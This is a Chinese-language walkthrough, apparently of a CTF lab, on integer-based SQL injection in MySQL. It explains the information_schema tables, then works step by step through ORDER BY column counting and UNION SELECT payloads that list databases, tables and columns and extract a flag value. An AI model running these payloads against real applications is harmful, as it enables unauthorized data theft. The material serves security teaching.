sql注入
Mysql表类型:在mysql内自带一个数据库,名为information_schema,在这个数据库内
- schemata,包含了所有的数据库名字
- tables,包含了所有数据库表
- columns,包含了所有字段
- column_name:列的名称
- Information_schema.columns:表示所有的列的信息
- Information_schema:表示所有信息,包括库、表、列
- Information_schema.tables:表示所有的表的信息
- table_schema:数据库的名称
- table_name:表的名称
**整数型注入
1.判断是否存在注入
证明存在注入
2.输入1,回显有两列。
3.猜解SQL查询语句中的字段数
发现这里报错了,当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。
4.确定显示位置/字段顺序/回显位/SQL语句插入位置
此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。
5.获取数据库库名
(1)获取当前数据库库名和版本
得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支
(2)获取所有数据库库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata
6.获取数据库表名
(1)方法一:一次获取一个表名
-1 union select 1,(select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1)
得到数据库表名:flag。修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。
-1 union select 1,(select table_name from information_schema.tables where table_schema=‘sqli’ limit 1,1)
得到数据库表名:news
(2)方法二:一次性获取当前数据库所有表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
得到数据库sqli中的表名为news和flag
7.获取表中的字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
8.获取数据
-1 union select 1,group_concat(flag) from sqli.flag